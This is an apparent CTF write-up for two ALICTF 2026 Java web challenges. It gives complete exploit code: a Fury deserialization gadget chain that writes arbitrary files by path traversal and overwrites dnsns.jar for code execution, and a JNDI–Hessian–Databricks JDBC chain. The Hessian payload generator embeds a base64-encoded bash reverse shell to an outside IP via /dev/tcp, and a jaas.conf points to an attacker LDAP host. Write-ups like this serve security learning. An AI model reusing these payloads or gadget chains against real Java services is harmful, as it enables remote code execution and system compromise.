This writeup covers two ALICTF 2026 web challenges. Fileury turns Apache Fury deserialization into a file write; MHGA combines JNDI, Hessian, and JDBC into an exploit chain.
Fileury
Approach
Fury’s blacklist blocks most familiar command-execution gadgets. I first look for an allowed file-write chain, then turn that write into code execution by overwriting the not-yet-loaded dnsns.jar and triggering its class loader.
After a quiet stretch following RCTF and a rough time at 0CTF, I finally found a challenge at ALICTF where I could put these ideas to use.
Let’s start with the challenge. The challenge uses Apache Fury for deserialization. The configuration is as follows:
Fury fury = Fury.builder()
.withLanguage(Language.JAVA)
.requireClassRegistration(false) // 允许反序列化未注册类
.build();
Object obj = fury.deserialize(Base64.getDecoder().decode(input));
Root cause
Blacklist analysis
Fury maintains a class blacklist through fury/disallowed.txt, and will check whether the class name is in the blacklist during deserialization.
Blacklist check logic (DisallowedList.java):
static void checkNotInDisallowedList(String clsName) {
if (DEFAULT_DISALLOWED_LIST_SET.contains(clsName)) {
throw new InsecureException(String.format("%s hit disallowed list", clsName));
}
}
Last year’s secondary-deserialization bypass relied on com.feilong, which is absent here, so I had to look for another chain.

The blacklist blocks most common deserialization gadget classes:
| Gadget Class | Status |
|---|---|
TemplatesImpl | ❌ Intercepted |
InvokerTransformer | ❌ Intercepted |
ChainedTransformer | ❌ Intercepted |
ConstantTransformer | ❌ Intercepted |
TiedMapEntry | ❌ Not blacklisted itself, but the transformers it depends on are blocked |
BadAttributeValueExpException | ❌ Intercepted |
Key classes that are not blocked:
org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMaporg.apache.commons.collections.map.LazyMaporg.apache.commons.collections.keyvalue.TiedMapEntryorg.apache.commons.collections.comparators.TransformingComparatororg.apache.commons.collections.functors.ConstantFactoryorg.apache.commons.collections.functors.StringValueTransformer
At first I tried to find a secondary deserialization entry using last year’s ideas, but without success.

Construct arbitrary file writing chain
Then I remembered the StoreableCachingMap chain from Meizijiu’s Non-RCE writeup. It provides an arbitrary file write and, luckily, avoids the blacklist.
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

The complete PoC adapted to Fury is as follows:
package reproduce;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.StringValueTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class ExpAspectJ {
public static void main(String[] args) throws Exception {
// Goal: Arbitrary File Write
// Chain:
// PriorityQueue.readObject() -> heapify() -> comparator.compare()
// comparator = TransformingComparator(StringValueTransformer)
// transformer.transform(TiedMapEntry) -> TiedMapEntry.toString()
// TiedMapEntry.toString() -> getValue() -> map.get(key)
// map = LazyMap(StoreableCachingMap, ConstantFactory(bytes))
// LazyMap.get(key) -> factory.create(key) -> bytes
// LazyMap.put(key, bytes) -> StoreableCachingMap.put(key, bytes) -> write bytes to file 'key'
byte[] content = Files.readAllBytes(Paths.get("dnsns.jar"));
String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar";
// byte[] content = cronPayload.getBytes();
// 1. Setup StoreableCachingMap (The Inner Map)
// Ensure access to the class
Class<?> scMapClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = scMapClass.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
// folder = ".", maxEntries = 100
Map storeableMap = (Map) constructor.newInstance(".", 100);
// 2. Setup LazyMap with ConstantFactory
ConstantFactory factory = new ConstantFactory(content);
Map lazyMap = LazyMap.decorate(storeableMap, factory);
// 3. Setup TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
// 4. Setup Comparator and Transformer
// StringValueTransformer calls String.valueOf(obj) which calls obj.toString() (if not null)
org.apache.commons.collections.Transformer transformer = StringValueTransformer.getInstance();
TransformingComparator comparator = new TransformingComparator(transformer);
// 5. Setup PriorityQueue
PriorityQueue queue = new PriorityQueue(2, comparator);
Field sizeField = PriorityQueue.class.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(queue, 2);
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = new Object[2];
queueArray[0] = entry;
queueArray[1] = entry;
queueField.set(queue, queueArray);
// 6. Serialize with Fury
System.out.println("Serializing AspectJ Chain with Fury...");
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
byte[] serializedInfo = fury.serialize(queue);
String b64 = Base64.getEncoder().encodeToString(serializedInfo);
FileOutputStream fos = new FileOutputStream("payload_aj.b64");
fos.write(b64.getBytes());
fos.close();
System.out.println("AspectJ Payload saved to payload_aj.b64");
}
}
Trigger the chain:
PriorityQueue.readObject()
→ heapify()
→ siftDown()
→ comparator.compare(queue[0], queue[1])
→ TransformingComparator.compare()
→ StringValueTransformer.transform(TiedMapEntry)
→ String.valueOf(TiedMapEntry)
→ TiedMapEntry.toString()
→ TiedMapEntry.getValue()
→ LazyMap.get(key)
→ factory.create() [ConstantFactory 返回预设的 byte[]]
→ StoreableCachingMap.put(key, value)
→ 写入文件 key,内容为 value
Exploitation and verification
Overwrite dnsns.jar and trigger loading
With a file write in hand, I tried scheduled tasks, LD_PRELOAD, and charsets.jar, but none worked. For a moment I thought first blood had slipped away.

At this point I remembered a Fastjson file-write bypass: enable -verbose:class and monitor class loading to find a JAR that has not yet been loaded, then overwrite it.
The class-loading trace showed that dnsns.jar had not been loaded.
2026-02-02 13:51:14 [Loaded java.util.concurrent.ThreadPoolExecutor$AbortPolicy from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.ThreadPoolExecutor$CallerRunsPolicy from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.ThreadPoolExecutor$DiscardOldestPolicy from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.ThreadPoolExecutor$DiscardPolicy from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.JBossExecutors$3 from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.NullRunnable from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.JBossExecutors$5 from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded java.lang.IllegalAccessError from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.LoggingUncaughtExceptionHandler from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.wildfly.common.cpu.ProcessorInfo from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded sun.nio.cs.US_ASCII$Decoder from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.Version from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.Messages from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.Messages_$logger from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.StoppedExecutorException from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.EnhancedQueueExecutor$MBeanUnregisterAction from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.EnhancedQueueExecutor$MXBeanImpl from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.Waiter from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.atomic.Striped64 from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.atomic.LongAdder from /usr/local/openjdk-8/jre/lib/rt.jar]
Deserializing sun.net.spi.nameservice.dns.DNSNameServiceDescriptor can trigger dnsns.jar to load, giving us a way forward.
package reproduce;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.util.Base64;
public class ExpDNS {
public static void main(String[] args) throws Exception {
System.out.println("Generating payload to load sun.net.spi.nameservice.dns.DNSNameServiceDescriptor...");
Fury fury = Fury.builder()
.withLanguage(Language.JAVA)
.requireClassRegistration(false)
.build();
// Load the class via reflection to avoid compilation errors if access is restricted
Class<?> clazz = Class.forName("sun.net.spi.nameservice.dns.DNSNameServiceDescriptor");
Object instance = clazz.newInstance();
byte[] payload = fury.serialize(instance);
String b64 = Base64.getEncoder().encodeToString(payload);
try (FileOutputStream fos = new FileOutputStream("payload_dns.b64")) {
fos.write(b64.getBytes());
}
System.out.println("Payload saved to payload_dns.b64");
System.out.println("Payload Base64: " + b64);
}
}
JarEditor can modify the bytecode in dnsns.jar.

First send a payload that overwrites dnsns.jar, then send another that triggers the modified class to load and execute.

After the competition, I tried to explain the Fury blacklist bypass and the dnsns.jar overwrite. She gave me a look and walked away.
At that moment I understood
Alas, she understands neither Java nor my spectacular finishing move! ⚡🔥⚡

References
- AliyunCTF 2025 JTools: Fury deserialization analysis
- AliyunCTF 2025 JTools analysis
- [Servlet race conditions and AspectJWeaver deserialization gadgets Non-RCE writeup]
- [Java Puzzle #3 WP] Fastjson write ascii JAR RCE
- Street Fighter finishing-move meme ⚡🔥⚡
MHGA
Approach
Start with the controllable JNDI lookup and use HessianProxyFactory to create a proxy. Returning that proxy alone does not call a method on it, so the next step uses ViburDBCPObjectFactory and Databricks JDBC to reach another JNDI lookup. JndiLoginModule then calls the proxy and triggers Hessian deserialization.
I swore Java would never make me cry again, but MHGA’s JNDI, Hessian, and JDBC combination proved me wrong. 😭
Root cause
Entry point
The challenge provides a Spring Boot application. Its Web.java endpoint takes an X-Lookup-URL header and performs a JNDI lookup on its value.
// Web.java
String url = exchange.getRequestHeaders().getFirst("X-Lookup-URL");
new InitialContext().lookup(url);
This is a typical JNDI injection entry, and the JDK version is OpenJDK 11.0.29.
Stage 1: Construct the Hessian chain
The challenge title hints at Hessian. The dependencies show that com.caucho.hessian.client.HessianProxyFactory implements javax.naming.spi.ObjectFactory.
A Reference pointing to HessianProxyFactory can be returned through JNDI, and all Reference attributes will be converted into the configuration of the Hessian proxy.
When JNDI performs getObjectInstance, a Hessian proxy object is returned. If a subsequent method is called on this proxy object, the Hessian deserialization request will be triggered.
// HessianProxyFactory.java
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Reference ref = (Reference)obj;
String api = null;
String url = null;
for (int i = 0; i < ref.size(); i++) {
RefAddr addr = ref.get(i);
String type = addr.getType();
String value = (String)addr.getContent();
// 提取 Reference 中的配置
if (type.equals("type")) {
api = value; // 代理接口类型
} else if (type.equals("url")) {
url = value; // 目标 URL
}
// ... user, password ...
}
// 创建 Hessian 代理
Class apiClass = Class.forName(api, false, this._loader);
return this.create(apiClass, url);
}
Exploit:
An attacker could return a crafted Reference via JNDI:
- Factory Class:
com.caucho.hessian.client.HessianProxyFactory(locally exists). - type: Set to any interface (for example,
javax.naming.directory.DirContext). - url: Set to an attacker-controlled HTTP address.
The object returned to JndiLoginModule is a Hessian proxy. When it calls a method such as DirContext.search, the proxy serializes the invocation and sends it to the attacker-controlled URL in an HTTP POST.
The attacker replies with a malicious serialized Hessian RPC response. The client deserializes the response, triggering the gadget chain.
The environment includes Jackson, so the Hessian payload can use POJONode to trigger a UnixPrintService getter and reach RCE.
If you are not familiar with UnixPrintService, you can refer to the “Magic In Java API” topic shared by yemoli at KCon 2023.

The complete PoC is as follows, Hessian serialized data must be in 2.0 RPC Reply format:
package org.example;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.atomic.AtomicReference;
import static common.Reflections.newInstanceWithoutConstructor;
import static common.Reflections.setFieldValue;
import static common.Util.makeMap;
import static java.lang.reflect.AccessibleObject.setAccessible;
public class ExploitGenerator {
// 目标文件路径
// private static final String cmd = ";touch /tmp/pwnnnnn";
private static final String cmd = "; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMjMuMTA5LjQ5LjUxLzk5OTkgMD4mMQ== | base64 -d | bash; echo";
public static void main(String[] args) throws Exception {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Method allocateInstance = unsafeClass.getMethod("allocateInstance", Class.class);
// 3. 实例化 UnixPrintService (替换之前的 Proxy)
// 这个类在 PrintServiceLookupProvider 中被广泛使用,是合法的 PrintService 实现
Class<?> unixPrintServiceClass = Class.forName("sun.print.UnixPrintService");
Object service = allocateInstance.invoke(unsafe, unixPrintServiceClass);
setFieldValue(service, "printer", cmd);
setFieldValue(service, "isInvalid", false);
setFieldValue(service, "lpcStatusCom", new String[]{"", "", "", ""});
POJONode pojoNode = new POJONode(service);
//
// ---------------------------------------------------------
// 5. Hessian2 序列化 (关键修复部分)
// ---------------------------------------------------------
byte[] payload = Hessian2_serialize(pojoNode);
// 6. 输出 Base64
String base64Payload = Base64.getEncoder().encodeToString(payload);
System.out.println("----- Payload (Base64) -----");
System.out.println(base64Payload);
System.out.println("----------------------------");
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
SerializerFactory factory = new SerializerFactory();
factory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
baos.write('H'); // Hessian 2.0 call header
baos.write(0x02); // major version
baos.write(0x00); // minor version
baos.write('R'); // Reply marker
baos.write(67);
hessian2Output.setSerializerFactory(factory);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
Returning the Hessian proxy object directly through JNDI will not trigger RCE immediately, because InitialContext.lookup only returns the object and does not necessarily call any of its methods.
Stage 2: From ViburDBCPObjectFactory to Databricks JDBC
I first considered LookupRef, described in Qianlan’s work on JNDI exploitation on newer JDKs. It can trigger a second JNDI request, but the required Tomcat dependency is absent here.
At this point the chain seemed stuck. 😭
LookupRef ref = new LookupRef("java.lang.String","look");
ref.add(new StringRefAddr("factory", "com.caucho.hessian.client.HessianProxyFactory"));
//com.caucho.burlap.client.BurlapProxyFactory
ref.add(new StringRefAddr("type", "java.lang.AutoCloseable"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:6666/"));
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
String lookupName = null;
Object result = null;
if (obj instanceof LookupRef) {
Reference ref = (Reference) obj;
ObjectFactory factory = null;
RefAddr lookupNameRefAddr = ref.get(LookupRef.LOOKUP_NAME);
if (lookupNameRefAddr != null) {
lookupName = lookupNameRefAddr.getContent().toString();
}
try {
if (lookupName != null) {
if (!names.get().add(lookupName)) {
String msg = sm.getString("lookupFactory.circularReference", lookupName);
NamingException ne = new NamingException(msg);
log.warn(msg, ne);
throw ne;
}
}
RefAddr factoryRefAddr = ref.get(Constants.FACTORY);
if (factoryRefAddr != null) {
// Using the specified factory
String factoryClassName = factoryRefAddr.getContent().toString();
// Loading factory
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
Class<?> factoryClass = null;
if (tcl != null) {
try {
factoryClass = tcl.loadClass(factoryClassName);
} catch (ClassNotFoundException e) {
NamingException ex = new NamingException(
sm.getString("lookupFactory.loadFailed"));
ex.initCause(e);
throw ex;
}
} else {
try {
factoryClass = Class.forName(factoryClassName);
} catch (ClassNotFoundException e) {
NamingException ex = new NamingException(
sm.getString("lookupFactory.loadFailed"));
ex.initCause(e);
throw ex;
}
}
if (factoryClass != null) {
try {
factory = (ObjectFactory) factoryClass.getConstructor().newInstance();
} catch (Throwable t) {
if (t instanceof NamingException)
throw (NamingException) t;
NamingException ex = new NamingException(
sm.getString("lookupFactory.createFailed"));
ex.initCause(t);
throw ex;
}
}
}
// Note: No defaults here
if (factory != null) {
result = factory.getObjectInstance(obj, name, nameCtx, environment);
} else {
if (lookupName == null) {
throw new NamingException(sm.getString("lookupFactory.createFailed"));
} else {
result = new InitialContext().lookup(lookupName);
}
}
Class<?> clazz = Class.forName(ref.getClassName());
if (result != null && !clazz.isAssignableFrom(result.getClass())) {
String msg = sm.getString("lookupFactory.typeMismatch",
name, ref.getClassName(), lookupName, result.getClass().getName());
NamingException ne = new NamingException(msg);
log.warn(msg, ne);
// Close the resource we no longer need if we know how to do so
if (isInstance(result.getClass(), "java.lang.AutoCloseable")) {
try {
Method m = result.getClass().getMethod("close");
m.invoke(result);
} catch (Exception e) {
// Ignore
}
}
throw ne;
}
} finally {
names.get().remove(lookupName);
}
}
return result;
}

After further analysis, we found that ViburDBCPObjectFactory can also be exploited: it allows DataSource to be instantiated and configured through JNDI Reference, and start() is automatically called. This method internally calls DriverManager.getDriver(jdbcUrl), triggering a JDBC attack.
The Databricks JDBC driver is present in the environment and CVE-2024-49194 can be used to trigger JNDI injection.
Build an HTTP server and provide jaas.conf:
Client {
com.sun.security.auth.module.JndiLoginModule required
user.provider.url="ldap://attacker:1389/Hessian/Exploit"
group.provider.url="test"
tryFirstPass="true";
};
When the JDBC driver loads this configuration and authenticates, JndiLoginModule reads user.provider.url and calls ctx.lookup(), completing the chain.
Exploit chain:
- Attacker: Send
X-Lookup-URL: ldap://attacker/Vibur/Exploit - Server: JNDI lookup ->
ViburDBCPObjectFactory - Vibur: Create DataSource -> Connect JDBC URL
- JDBC: Download
http://attacker/jaas.conf-> LoadJndiLoginModule - JAAS: JndiLoginModule lookup
ldap://attacker/Hessian/Exploit - Hessian: Return
HessianProxy(aDirContextproxy) - JAAS: Call
proxy.search()-> trigger Hessian request - Server: Deserialize Hessian Payload ->
UnixPrintService-> RCE - RCE:
chmod 444 /flag && cat /flag-> read the flag

Exploitation and verification
Stage 3: Get the flag
I modified x1r0z’s JNDIMap; see my JNDIMap branch for the changes.

Cool! 😎This is called RCE🎶! 😋👍So cool! 😎This is called RCE🎶! 😋👍😎This is called RCE🎶!

GGWP
Until the next writeup!

Comments
Sign in with GitHub to join the conversation. Both language versions share the same comments.
Comments could not be loaded. Please use the GitHub link above.